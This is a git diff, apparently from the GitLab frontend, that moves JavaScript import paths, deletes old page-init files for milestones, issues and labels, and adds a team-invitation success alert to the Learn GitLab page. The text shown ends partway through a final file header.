deleted file mode 100644
index 8cdcd3134ee..00000000000
--- a/app/assets/javascripts/pages/dashboard/projects/index/init_customize_homepage_banner.js
+++ /dev/null
@@ -1,16 +0,0 @@
-import Vue from 'vue';
-import CustomizeHomepageBanner from './components/customize_homepage_banner.vue';
-
-export default () => {
- const el = document.querySelector('.js-customize-homepage-banner');
-
- if (!el) {
- return false;
- }
-
- return new Vue({
- el,
- provide: { ...el.dataset },
- render: (createElement) => createElement(CustomizeHomepageBanner),
- });
-};
diff --git a/app/assets/javascripts/pages/groups/issues/index.js b/app/assets/javascripts/pages/groups/issues/index.js
index 8c9f23732aa..966d55e5587 100644
--- a/app/assets/javascripts/pages/groups/issues/index.js
+++ b/app/assets/javascripts/pages/groups/issues/index.js
@@ -1,8 +1,8 @@
import IssuableFilteredSearchTokenKeys from 'ee_else_ce/filtered_search/issuable_filtered_search_token_keys';
-import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
+import issuableInitBulkUpdateSidebar from '~/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar';
import { mountIssuablesListApp, mountIssuesListApp } from '~/issues_list';
-import initManualOrdering from '~/manual_ordering';
-import { FILTERED_SEARCH } from '~/pages/constants';
+import initManualOrdering from '~/issues/manual_ordering';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import projectSelect from '~/project_select';
diff --git a/app/assets/javascripts/pages/groups/labels/edit/index.js b/app/assets/javascripts/pages/groups/labels/edit/index.js
index 2e8308fe084..e4e377f62fc 100644
--- a/app/assets/javascripts/pages/groups/labels/edit/index.js
+++ b/app/assets/javascripts/pages/groups/labels/edit/index.js
@@ -1,4 +1,4 @@
-import Labels from 'ee_else_ce/labels';
+import Labels from 'ee_else_ce/labels/labels';
// eslint-disable-next-line no-new
new Labels();
diff --git a/app/assets/javascripts/pages/groups/labels/index/index.js b/app/assets/javascripts/pages/groups/labels/index/index.js
index 95c2c7cd7d0..bf670e8576f 100644
--- a/app/assets/javascripts/pages/groups/labels/index/index.js
+++ b/app/assets/javascripts/pages/groups/labels/index/index.js
@@ -1,5 +1,4 @@
-import initDeleteLabelModal from '~/delete_label_modal';
-import initLabels from '~/init_labels';
+import { initDeleteLabelModal, initLabels } from '~/labels';
initLabels();
initDeleteLabelModal();
diff --git a/app/assets/javascripts/pages/groups/labels/new/index.js b/app/assets/javascripts/pages/groups/labels/new/index.js
index 2e8308fe084..e4e377f62fc 100644
--- a/app/assets/javascripts/pages/groups/labels/new/index.js
+++ b/app/assets/javascripts/pages/groups/labels/new/index.js
@@ -1,4 +1,4 @@
-import Labels from 'ee_else_ce/labels';
+import Labels from 'ee_else_ce/labels/labels';
// eslint-disable-next-line no-new
new Labels();
diff --git a/app/assets/javascripts/pages/groups/merge_requests/index.js b/app/assets/javascripts/pages/groups/merge_requests/index.js
index 02a0a50f984..cb38ee1c6e0 100644
--- a/app/assets/javascripts/pages/groups/merge_requests/index.js
+++ b/app/assets/javascripts/pages/groups/merge_requests/index.js
@@ -1,7 +1,7 @@
import addExtraTokensForMergeRequests from 'ee_else_ce/filtered_search/add_extra_tokens_for_merge_requests';
import IssuableFilteredSearchTokenKeys from '~/filtered_search/issuable_filtered_search_token_keys';
-import issuableInitBulkUpdateSidebar from '~/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar';
-import { FILTERED_SEARCH } from '~/pages/constants';
+import issuableInitBulkUpdateSidebar from '~/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import projectSelect from '~/project_select';
diff --git a/app/assets/javascripts/pages/groups/milestones/edit/index.js b/app/assets/javascripts/pages/groups/milestones/edit/index.js
index 4f8514a9a1d..7fda129a85d 100644
--- a/app/assets/javascripts/pages/groups/milestones/edit/index.js
+++ b/app/assets/javascripts/pages/groups/milestones/edit/index.js
@@ -1,3 +1,3 @@
-import initForm from '~/shared/milestones/form';
+import { initForm } from '~/milestones';
initForm();
diff --git a/app/assets/javascripts/pages/groups/milestones/new/index.js b/app/assets/javascripts/pages/groups/milestones/new/index.js
index 4f8514a9a1d..7fda129a85d 100644
--- a/app/assets/javascripts/pages/groups/milestones/new/index.js
+++ b/app/assets/javascripts/pages/groups/milestones/new/index.js
@@ -1,3 +1,3 @@
-import initForm from '~/shared/milestones/form';
+import { initForm } from '~/milestones';
initForm();
diff --git a/app/assets/javascripts/pages/groups/milestones/show/index.js b/app/assets/javascripts/pages/groups/milestones/show/index.js
index 914e2831185..f2ab5d78374 100644
--- a/app/assets/javascripts/pages/groups/milestones/show/index.js
+++ b/app/assets/javascripts/pages/groups/milestones/show/index.js
@@ -1,5 +1,4 @@
-import initDeleteMilestoneModal from '~/pages/milestones/shared/delete_milestone_modal_init';
-import initMilestonesShow from '~/pages/milestones/shared/init_milestones_show';
+import { initDeleteMilestoneModal, initShow } from '~/milestones';
-initMilestonesShow();
+initShow();
initDeleteMilestoneModal();
diff --git a/app/assets/javascripts/pages/groups/packages/index/index.js b/app/assets/javascripts/pages/groups/packages/index/index.js
index f9eecff4ac4..174973a9fad 100644
--- a/app/assets/javascripts/pages/groups/packages/index/index.js
+++ b/app/assets/javascripts/pages/groups/packages/index/index.js
@@ -1,3 +1,3 @@
-import packageList from '~/packages_and_registries/package_registry/pages/list';
+import packageApp from '~/packages_and_registries/package_registry/index';
-packageList();
+packageApp();
diff --git a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
index a8d7a83cdd6..5d8ee146e62 100644
--- a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
@@ -1,7 +1,7 @@
import initVariableList from '~/ci_variable_list';
import GroupRunnersFilteredSearchTokenKeys from '~/filtered_search/group_runners_filtered_search_token_keys';
import initSharedRunnersForm from '~/group_settings/mount_shared_runners';
-import { FILTERED_SEARCH } from '~/pages/constants';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import { initRunnerAwsDeployments } from '~/pages/shared/mount_runner_aws_deployments';
import { initInstallRunner } from '~/pages/shared/mount_runner_instructions';
diff --git a/app/assets/javascripts/pages/groups/settings/integrations/edit/index.js b/app/assets/javascripts/pages/groups/settings/integrations/edit/index.js
index a8698e10c57..8485b460261 100644
--- a/app/assets/javascripts/pages/groups/settings/integrations/edit/index.js
+++ b/app/assets/javascripts/pages/groups/settings/integrations/edit/index.js
@@ -1,11 +1,11 @@
-import IntegrationSettingsForm from '~/integrations/integration_settings_form';
+import initIntegrationSettingsForm from '~/integrations/edit';
import PrometheusMetrics from '~/prometheus_metrics/prometheus_metrics';
-const prometheusSettingsWrapper = document.querySelector('.js-prometheus-metrics-monitoring');
-const integrationSettingsForm = new IntegrationSettingsForm('.js-integration-settings-form');
-integrationSettingsForm.init();
+initIntegrationSettingsForm('.js-integration-settings-form');
+const prometheusSettingsSelector = '.js-prometheus-metrics-monitoring';
+const prometheusSettingsWrapper = document.querySelector(prometheusSettingsSelector);
if (prometheusSettingsWrapper) {
- const prometheusMetrics = new PrometheusMetrics('.js-prometheus-metrics-monitoring');
+ const prometheusMetrics = new PrometheusMetrics(prometheusSettingsSelector);
prometheusMetrics.loadActiveMetrics();
}
diff --git a/app/assets/javascripts/pages/help/ui/index.js b/app/assets/javascripts/pages/help/ui/index.js
deleted file mode 100644
index 9ccc9123506..00000000000
--- a/app/assets/javascripts/pages/help/ui/index.js
+++ /dev/null
@@ -1,3 +0,0 @@
-import initUIKit from '~/ui_development_kit';
-
-initUIKit();
diff --git a/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue b/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue
index ec3cf4a8a92..0ec382983a5 100644
--- a/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue
+++ b/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue
@@ -7,7 +7,7 @@ import { parseIntPagination, normalizeHeaders } from '~/lib/utils/common_utils';
import { joinPaths } from '~/lib/utils/url_utility';
import { getBulkImportsHistory } from '~/rest_api';
import ImportStatus from '~/import_entities/components/import_status.vue';
-import PaginationBar from '~/import_entities/components/pagination_bar.vue';
+import PaginationBar from '~/vue_shared/components/pagination_bar/pagination_bar.vue';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
import { DEFAULT_ERROR } from '../utils/error_messages';
@@ -166,7 +166,6 @@ export default {
</gl-table>
<pagination-bar
:page-info="pageInfo"
- :items-count="historyItems.length"
class="gl-m-0 gl-mt-3"
@set-page="paginationConfig.page = $event"
@set-page-size="paginationConfig.perPage = $event"
diff --git a/app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js b/app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js
deleted file mode 100644
index 3aeff2db2e0..00000000000
--- a/app/assets/javascripts/pages/milestones/shared/delete_milestone_modal_init.js
+++ /dev/null
@@ -1,75 +0,0 @@
-import Vue from 'vue';
-import { BV_SHOW_MODAL } from '~/lib/utils/constants';
-import Translate from '~/vue_shared/translate';
-import DeleteMilestoneModal from './components/delete_milestone_modal.vue';
-import eventHub from './event_hub';
-
-export default () => {
- Vue.use(Translate);
-
- const onRequestFinished = ({ milestoneUrl, successful }) => {
- const button = document.querySelector(
- `.js-delete-milestone-button[data-milestone-url="${milestoneUrl}"]`,
- );
-
- if (!successful) {
- button.removeAttribute('disabled');
- }
-
- button.querySelector('.js-loading-icon').classList.add('hidden');
- };
-
- const deleteMilestoneButtons = document.querySelectorAll('.js-delete-milestone-button');
-
- const onRequestStarted = (milestoneUrl) => {
- const button = document.querySelector(
- `.js-delete-milestone-button[data-milestone-url="${milestoneUrl}"]`,
- );
- button.setAttribute('disabled', '');
- button.querySelector('.js-loading-icon').classList.remove('hidden');
- eventHub.$once('deleteMilestoneModal.requestFinished', onRequestFinished);
- };
-
- return new Vue({
- el: '#js-delete-milestone-modal',
- data() {
- return {
- modalProps: {
- milestoneId: -1,
- milestoneTitle: '',
- milestoneUrl: '',
- issueCount: -1,
- mergeRequestCount: -1,
- },
- };
- },
- mounted() {
- eventHub.$on('deleteMilestoneModal.props', this.setModalProps);
- deleteMilestoneButtons.forEach((button) => {
- button.removeAttribute('disabled');
- button.addEventListener('click', () => {
- this.$root.$emit(BV_SHOW_MODAL, 'delete-milestone-modal');
- eventHub.$once('deleteMilestoneModal.requestStarted', onRequestStarted);
-
- this.setModalProps({
- milestoneId: parseInt(button.dataset.milestoneId, 10),
- milestoneTitle: button.dataset.milestoneTitle,
- milestoneUrl: button.dataset.milestoneUrl,
- issueCount: parseInt(button.dataset.milestoneIssueCount, 10),
- mergeRequestCount: parseInt(button.dataset.milestoneMergeRequestCount, 10),
- });
- });
- });
- },
- methods: {
- setModalProps(modalProps) {
- this.modalProps = modalProps;
- },
- },
- render(createElement) {
- return createElement(DeleteMilestoneModal, {
- props: this.modalProps,
- });
- },
- });
-};
diff --git a/app/assets/javascripts/pages/milestones/shared/index.js b/app/assets/javascripts/pages/milestones/shared/index.js
deleted file mode 100644
index dabfe32848b..00000000000
--- a/app/assets/javascripts/pages/milestones/shared/index.js
+++ /dev/null
@@ -1,7 +0,0 @@
-import initDeleteMilestoneModal from './delete_milestone_modal_init';
-import initPromoteMilestoneModal from './promote_milestone_modal_init';
-
-export default () => {
- initDeleteMilestoneModal();
- initPromoteMilestoneModal();
-};
diff --git a/app/assets/javascripts/pages/milestones/shared/init_milestones_show.js b/app/assets/javascripts/pages/milestones/shared/init_milestones_show.js
deleted file mode 100644
index b2a896a3265..00000000000
--- a/app/assets/javascripts/pages/milestones/shared/init_milestones_show.js
+++ /dev/null
@@ -1,11 +0,0 @@
-/* eslint-disable no-new */
-
-import Milestone from '~/milestone';
-import Sidebar from '~/right_sidebar';
-import MountMilestoneSidebar from '~/sidebar/mount_milestone_sidebar';
-
-export default () => {
- new Milestone();
- new Sidebar();
- new MountMilestoneSidebar();
-};
diff --git a/app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js b/app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js
deleted file mode 100644
index 5472b8c684f..00000000000
--- a/app/assets/javascripts/pages/milestones/shared/promote_milestone_modal_init.js
+++ /dev/null
@@ -1,19 +0,0 @@
-import Vue from 'vue';
-import Translate from '~/vue_shared/translate';
-import PromoteMilestoneModal from './components/promote_milestone_modal.vue';
-
-Vue.use(Translate);
-
-export default () => {
- const promoteMilestoneModal = document.getElementById('promote-milestone-modal');
- if (!promoteMilestoneModal) {
- return null;
- }
-
- return new Vue({
- el: promoteMilestoneModal,
- render(createElement) {
- return createElement(PromoteMilestoneModal);
- },
- });
-};
diff --git a/app/assets/javascripts/pages/profiles/personal_access_tokens/index.js b/app/assets/javascripts/pages/profiles/personal_access_tokens/index.js
index fdbfc35456f..37e9b7e99d4 100644
--- a/app/assets/javascripts/pages/profiles/personal_access_tokens/index.js
+++ b/app/assets/javascripts/pages/profiles/personal_access_tokens/index.js
@@ -1,4 +1,5 @@
-import { initExpiresAtField, initProjectsField } from '~/access_tokens';
+import { initExpiresAtField, initProjectsField, initTokensApp } from '~/access_tokens';
initExpiresAtField();
initProjectsField();
+initTokensApp();
diff --git a/app/assets/javascripts/pages/projects/constants.js b/app/assets/javascripts/pages/projects/constants.js
deleted file mode 100644
index 8dc765e5d10..00000000000
--- a/app/assets/javascripts/pages/projects/constants.js
+++ /dev/null
@@ -1,4 +0,0 @@
-export const ISSUABLE_INDEX = {
- MERGE_REQUEST: 'merge_request_',
- ISSUE: 'issue_',
-};
diff --git a/app/assets/javascripts/pages/projects/edit/index.js b/app/assets/javascripts/pages/projects/edit/index.js
index f4beefea90c..100ca5b36d9 100644
--- a/app/assets/javascripts/pages/projects/edit/index.js
+++ b/app/assets/javascripts/pages/projects/edit/index.js
@@ -1,13 +1,14 @@
import { PROJECT_BADGE } from '~/badges/constants';
import initLegacyConfirmDangerModal from '~/confirm_danger_modal';
+import initConfirmDanger from '~/init_confirm_danger';
import dirtySubmitFactory from '~/dirty_submit/dirty_submit_factory';
import initFilePickers from '~/file_pickers';
import mountBadgeSettings from '~/pages/shared/mount_badge_settings';
import initProjectDeleteButton from '~/projects/project_delete_button';
import initServiceDesk from '~/projects/settings_service_desk';
+import initTransferProjectForm from '~/projects/settings/init_transfer_project_form';
import initSearchSettings from '~/search_settings';
import initSettingsPanels from '~/settings_panels';
-import setupTransferEdit from '~/transfer_edit';
import UserCallout from '~/user_callout';
import initTopicsTokenSelector from '~/projects/settings/topics';
import initProjectPermissionsSettings from '../shared/permissions';
@@ -15,6 +16,7 @@ import initProjectLoadingSpinner from '../shared/save_project_loader';
initFilePickers();
initLegacyConfirmDangerModal();
+initConfirmDanger();
initSettingsPanels();
initProjectDeleteButton();
mountBadgeSettings(PROJECT_BADGE);
@@ -24,7 +26,7 @@ initServiceDesk();
initProjectLoadingSpinner();
initProjectPermissionsSettings();
-setupTransferEdit('.js-project-transfer-form', 'select.select2');
+initTransferProjectForm();
dirtySubmitFactory(document.querySelectorAll('.js-general-settings-form, .js-mr-settings-form'));
diff --git a/app/assets/javascripts/pages/projects/incidents/show/index.js b/app/assets/javascripts/pages/projects/incidents/show/index.js
index a75b68873ef..4633eaef8f9 100644
--- a/app/assets/javascripts/pages/projects/incidents/show/index.js
+++ b/app/assets/javascripts/pages/projects/incidents/show/index.js
@@ -1,6 +1,6 @@
import initRelatedIssues from '~/related_issues';
import initSidebarBundle from '~/sidebar/sidebar_bundle';
-import initShow from '../../issues/show';
+import initShow from '~/issues/show';
initShow();
initSidebarBundle();
diff --git a/app/assets/javascripts/pages/projects/issues/edit/index.js b/app/assets/javascripts/pages/projects/issues/edit/index.js
index 48afd2142ee..aa00d1f58bd 100644
--- a/app/assets/javascripts/pages/projects/issues/edit/index.js
+++ b/app/assets/javascripts/pages/projects/issues/edit/index.js
@@ -1,3 +1,3 @@
-import initForm from 'ee_else_ce/pages/projects/issues/form';
+import initForm from 'ee_else_ce/issues/form';
initForm();
diff --git a/app/assets/javascripts/pages/projects/issues/form.js b/app/assets/javascripts/pages/projects/issues/form.js
deleted file mode 100644
index c0da0069a99..00000000000
--- a/app/assets/javascripts/pages/projects/issues/form.js
+++ /dev/null
@@ -1,25 +0,0 @@
-/* eslint-disable no-new */
-
-import $ from 'jquery';
-import IssuableForm from 'ee_else_ce/issuable_form';
-import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
-import GLForm from '~/gl_form';
-import initSuggestions from '~/issuable_suggestions';
-import initIssuableTypeSelector from '~/issuable_type_selector';
-import LabelsSelect from '~/labels_select';
-import MilestoneSelect from '~/milestone_select';
-import IssuableTemplateSelectors from '~/templates/issuable_template_selectors';
-
-export default () => {
- new ShortcutsNavigation();
- new GLForm($('.issue-form'));
- new IssuableForm($('.issue-form'));
- new LabelsSelect();
- new MilestoneSelect();
- new IssuableTemplateSelectors({
- warnTemplateOverride: true,
- });
-
- initSuggestions();
- initIssuableTypeSelector();
-};
diff --git a/app/assets/javascripts/pages/projects/issues/index/index.js b/app/assets/javascripts/pages/projects/issues/index/index.js
index 8cd703133f5..e937713044c 100644
--- a/app/assets/javascripts/pages/projects/issues/index/index.js
+++ b/app/assets/javascripts/pages/projects/issues/index/index.js
@@ -1,12 +1,11 @@
import IssuableFilteredSearchTokenKeys from 'ee_else_ce/filtered_search/issuable_filtered_search_token_keys';
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
-import initCsvImportExportButtons from '~/issuable/init_csv_import_export_buttons';
-import initIssuableByEmail from '~/issuable/init_issuable_by_email';
-import IssuableIndex from '~/issuable_index';
+import { initCsvImportExportButtons, initIssuableByEmail } from '~/issuable';
+import issuableInitBulkUpdateSidebar from '~/issuable/bulk_update_sidebar/issuable_init_bulk_update_sidebar';
import { mountIssuablesListApp, mountIssuesListApp, mountJiraIssuesListApp } from '~/issues_list';
-import initManualOrdering from '~/manual_ordering';
-import { FILTERED_SEARCH } from '~/pages/constants';
-import { ISSUABLE_INDEX } from '~/pages/projects/constants';
+import initManualOrdering from '~/issues/manual_ordering';
+import { FILTERED_SEARCH } from '~/filtered_search/constants';
+import { ISSUABLE_INDEX } from '~/issuable/constants';
import initFilteredSearch from '~/pages/search/init_filtered_search';
import UsersSelect from '~/users_select';
@@ -21,7 +20,7 @@ if (gon.features?.vueIssuesList) {
useDefaultState: true,
});
- new IssuableIndex(ISSUABLE_INDEX.ISSUE); // eslint-disable-line no-new
+ issuableInitBulkUpdateSidebar.init(ISSUABLE_INDEX.ISSUE);
new UsersSelect(); // eslint-disable-line no-new
initCsvImportExportButtons();
diff --git a/app/assets/javascripts/pages/projects/issues/new/index.js b/app/assets/javascripts/pages/projects/issues/new/index.js
index 48afd2142ee..aa00d1f58bd 100644
--- a/app/assets/javascripts/pages/projects/issues/new/index.js
+++ b/app/assets/javascripts/pages/projects/issues/new/index.js
@@ -1,3 +1,3 @@
-import initForm from 'ee_else_ce/pages/projects/issues/form';
+import initForm from 'ee_else_ce/issues/form';
initForm();
diff --git a/app/assets/javascripts/pages/projects/issues/service_desk/index.js b/app/assets/javascripts/pages/projects/issues/service_desk/index.js
index d906c579697..69639d17f8a 100644
--- a/app/assets/javascripts/pages/projects/issues/service_desk/index.js
+++ b/app/assets/javascripts/pages/projects/issues/service_desk/index.js
@@ -1,14 +1,7 @@
import { mountIssuablesListApp } from '~/issues_list';
-import FilteredSearchServiceDesk from './filtered_search';
+import { initFilteredSearchServiceDesk } from '~/issues/init_filtered_search_service_desk';
-const supportBotData = JSON.parse(
- document.querySelector('.js-service-desk-issues').dataset.supportBot,
-);
-
-if (document.querySelector('.filtered-search')) {
- const filteredSearchManager = new FilteredSearchServiceDesk(supportBotData);
- filteredSearchManager.setup();
-}
+initFilteredSearchServiceDesk();
if (gon.features?.vueIssuablesList) {
mountIssuablesListApp();
diff --git a/app/assets/javascripts/pages/projects/issues/show.js b/app/assets/javascripts/pages/projects/issues/show.js
deleted file mode 100644
index 24aa2f0da13..00000000000
--- a/app/assets/javascripts/pages/projects/issues/show.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import loadAwardsHandler from '~/awards_handler';
-import ShortcutsIssuable from '~/behaviors/shortcuts/shortcuts_issuable';
-import initIssuableSidebar from '~/init_issuable_sidebar';
-import { IssuableType } from '~/issuable_show/constants';
-import Issue from '~/issue';
-import { initIncidentApp, initIncidentHeaderActions } from '~/issue_show/incident';
-import { initIssuableApp, initIssueHeaderActions } from '~/issue_show/issue';
-import { parseIssuableData } from '~/issue_show/utils/parse_data';
-import initNotesApp from '~/notes';
-import { store } from '~/notes/stores';
-import initRelatedMergeRequestsApp from '~/related_merge_requests';
-import initSentryErrorStackTraceApp from '~/sentry_error_stack_trace';
-import initIssuableHeaderWarning from '~/vue_shared/components/issuable/init_issuable_header_warning';
-import ZenMode from '~/zen_mode';
-
-export default function initShowIssue() {
- initNotesApp();
-
- const initialDataEl = document.getElementById('js-issuable-app');
- const { issueType, ...issuableData } = parseIssuableData(initialDataEl);
-
- switch (issueType) {
- case IssuableType.Incident:
- initIncidentApp(issuableData);
- initIncidentHeaderActions(store);
- break;
- case IssuableType.Issue:
- initIssuableApp(issuableData, store);
- initIssueHeaderActions(store);
- break;
- default:
- initIssueHeaderActions(store);
- break;
- }
-
- initIssuableHeaderWarning(store);
- initSentryErrorStackTraceApp();
- initRelatedMergeRequestsApp();
-
- import(/* webpackChunkName: 'design_management' */ '~/design_management')
- .then((module) => module.default())
- .catch(() => {});
-
- new ZenMode(); // eslint-disable-line no-new
-
- if (issueType !== IssuableType.TestCase) {
- const awardEmojiEl = document.getElementById('js-vue-awards-block');
-
- new Issue(); // eslint-disable-line no-new
- new ShortcutsIssuable(); // eslint-disable-line no-new
- initIssuableSidebar();
- if (awardEmojiEl) {
- import('~/emoji/awards_app')
- .then((m) => m.default(awardEmojiEl))
- .catch(() => {});
- } else {
- loadAwardsHandler();
- }
- }
-}
diff --git a/app/assets/javascripts/pages/projects/issues/show/index.js b/app/assets/javascripts/pages/projects/issues/show/index.js
index 1282d2aa303..d0b1942f2a4 100644
--- a/app/assets/javascripts/pages/projects/issues/show/index.js
+++ b/app/assets/javascripts/pages/projects/issues/show/index.js
@@ -1,7 +1,7 @@
import { store } from '~/notes/stores';
import initRelatedIssues from '~/related_issues';
import initSidebarBundle from '~/sidebar/sidebar_bundle';
-import initShow from '../show';
+import initShow from '~/issues/show';
initShow();
initSidebarBundle(store);
diff --git a/app/assets/javascripts/pages/projects/labels/edit/index.js b/app/assets/javascripts/pages/projects/labels/edit/index.js
index 3b7562deed9..c4d7af39767 100644
--- a/app/assets/javascripts/pages/projects/labels/edit/index.js
+++ b/app/assets/javascripts/pages/projects/labels/edit/index.js
@@ -1,3 +1,3 @@
-import Labels from 'ee_else_ce/labels';
+import Labels from 'ee_else_ce/labels/labels';
new Labels(); // eslint-disable-line no-new
diff --git a/app/assets/javascripts/pages/projects/labels/index/index.js b/app/assets/javascripts/pages/projects/labels/index/index.js
index 94ab0d64de4..1f8ff7e0bb1 100644
--- a/app/assets/javascripts/pages/projects/labels/index/index.js
+++ b/app/assets/javascripts/pages/projects/labels/index/index.js
@@ -1,83 +1,3 @@
-import Vue from 'vue';
-import initDeleteLabelModal from '~/delete_label_modal';
-import initLabels from '~/init_labels';
-import { BV_SHOW_MODAL } from '~/lib/utils/constants';
-import Translate from '~/vue_shared/translate';
-import PromoteLabelModal from '../components/promote_label_modal.vue';
-import eventHub from '../event_hub';
+import { initLabelIndex } from '~/labels';
-Vue.use(Translate);
-
-const initLabelIndex = () => {
- initLabels();
- initDeleteLabelModal();
-
- const onRequestFinished = ({ labelUrl, successful }) => {
- const button = document.querySelector(
- `.js-promote-project-label-button[data-url="${labelUrl}"]`,
- );
-
- if (!successful) {
- button.removeAttribute('disabled');
- }
- };
-
- const onRequestStarted = (labelUrl) => {
- const button = document.querySelector(
- `.js-promote-project-label-button[data-url="${labelUrl}"]`,
- );
- button.setAttribute('disabled', '');
- eventHub.$once('promoteLabelModal.requestFinished', onRequestFinished);
- };
-
- const promoteLabelButtons = document.querySelectorAll('.js-promote-project-label-button');
-
- return new Vue({
- el: '#js-promote-label-modal',
- data() {
- return {
- modalProps: {
- labelTitle: '',
- labelColor: '',
- labelTextColor: '',
- url: '',
- groupName: '',
- },
- };
- },
- mounted() {
- eventHub.$on('promoteLabelModal.props', this.setModalProps);
- eventHub.$emit('promoteLabelModal.mounted');
-
- promoteLabelButtons.forEach((button) => {
- button.removeAttribute('disabled');
- button.addEventListener('click', () => {
- this.$root.$emit(BV_SHOW_MODAL, 'promote-label-modal');
- eventHub.$once('promoteLabelModal.requestStarted', onRequestStarted);
-
- this.setModalProps({
- labelTitle: button.dataset.labelTitle,
- labelColor: button.dataset.labelColor,
- labelTextColor: button.dataset.labelTextColor,
- url: button.dataset.url,
- groupName: button.dataset.groupName,
- });
- });
- });
- },
- beforeDestroy() {
- eventHub.$off('promoteLabelModal.props', this.setModalProps);
- },
- methods: {
- setModalProps(modalProps) {
- this.modalProps = modalProps;
- },
- },
- render(createElement) {
- return createElement(PromoteLabelModal, {
- props: this.modalProps,
- });
- },
- });
-};
initLabelIndex();
diff --git a/app/assets/javascripts/pages/projects/labels/new/index.js b/app/assets/javascripts/pages/projects/labels/new/index.js
index 2e8308fe084..e4e377f62fc 100644
--- a/app/assets/javascripts/pages/projects/labels/new/index.js
+++ b/app/assets/javascripts/pages/projects/labels/new/index.js
@@ -1,4 +1,4 @@
-import Labels from 'ee_else_ce/labels';
+import Labels from 'ee_else_ce/labels/labels';
// eslint-disable-next-line no-new
new Labels();
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab.vue
index 95afcb6bda8..42c40cda601 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab.vue
+++ b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab.vue
@@ -1,18 +1,21 @@
<script>
-import { GlProgressBar, GlSprintf } from '@gitlab/ui';
+import { GlProgressBar, GlSprintf, GlAlert } from '@gitlab/ui';
import eventHub from '~/invite_members/event_hub';
import { s__ } from '~/locale';
import { ACTION_LABELS, ACTION_SECTIONS } from '../constants';
import LearnGitlabSectionCard from './learn_gitlab_section_card.vue';
export default {
- components: { GlProgressBar, GlSprintf, LearnGitlabSectionCard },
+ components: { GlProgressBar, GlSprintf, GlAlert, LearnGitlabSectionCard },
i18n: {
title: s__('LearnGitLab|Learn GitLab'),
description: s__(
'LearnGitLab|Ready to get started with GitLab? Follow these steps to set up your workspace, plan and commit changes, and deploy your project.',
),
percentageCompleted: s__(`LearnGitLab|%{percentage}%{percentSymbol} completed`),
+ successfulInvitations: s__(
+ "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project.",
+ ),
},
props: {
actions: {
@@ -28,12 +31,22 @@ export default {
required: false,
default: false,
},
+ project: {
+ required: true,
+ type: Object,
+ },
+ },
+ data() {
+ return {
+ showSuccessfulInvitationsAlert: false,
+ actionsData: this.actions,
+ };
},
maxValue: Object.keys(ACTION_LABELS).length,
actionSections: Object.keys(ACTION_SECTIONS),
computed: {
progressValue() {
- return Object.values(this.actions).filter((a) => a.completed).length;
+ return Object.values(this.actionsData).filter((a) => a.completed).length;
},
progressPercentage() {
return Math.round((this.progressValue / this.$options.maxValue) * 100);
@@ -43,14 +56,23 @@ export default {
if (this.inviteMembersOpen) {
this.openInviteMembersModal('celebrate');
}
+
+ eventHub.$on('showSuccessfulInvitationsAlert', this.handleShowSuccessfulInvitationsAlert);
+ },
+ beforeDestroy() {
+ eventHub.$off('showSuccessfulInvitationsAlert', this.handleShowSuccessfulInvitationsAlert);
},
methods: {
openInviteMembersModal(mode) {
eventHub.$emit('openModal', { mode, inviteeType: 'members', source: 'learn-gitlab' });
},
+ handleShowSuccessfulInvitationsAlert() {
+ this.showSuccessfulInvitationsAlert = true;
+ this.markActionAsCompleted('userAdded');
+ },
actionsFor(section) {
const actions = Object.fromEntries(
- Object.entries(this.actions).filter(
+ Object.entries(this.actionsData).filter(
([action]) => ACTION_LABELS[action].section === section,
),
);
@@ -59,11 +81,34 @@ export default {
svgFor(section) {
return this.sections[section].svg;
},
+ markActionAsCompleted(completedAction) {
+ Object.keys(this.actionsData).forEach((action) => {
+ if (action === completedAction) {
+ this.actionsData[action].completed = true;
+ this.modifySidebarPercentage();
+ }
+ });
+ },
+ modifySidebarPercentage() {
+ const el = document.querySelector('.sidebar-top-level-items .active .count');
+ el.textContent = `${this.progressPercentage}%`;
+ },
},
};
</script>
<template>
<div>
+ <gl-alert
+ v-if="showSuccessfulInvitationsAlert"
+ class="gl-mt-5"
+ @dismiss="showSuccessfulInvitationsAlert = false"
+ >
+ <gl-sprintf :message="$options.i18n.successfulInvitations">
+ <template #projectName>
+ <strong>{{ project.name }}</strong>
+ </template>
+ </gl-sprintf>
+ </gl-alert>
<div class="row">
<div class="gl-mb-7 gl-ml-5">
<h1 class="gl-font-size-h1">{{ $options.i18n.title }}</h1>
diff --git a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue b/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
index 0995947f3e7..3a401f5cb31 100644
--- a/app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue
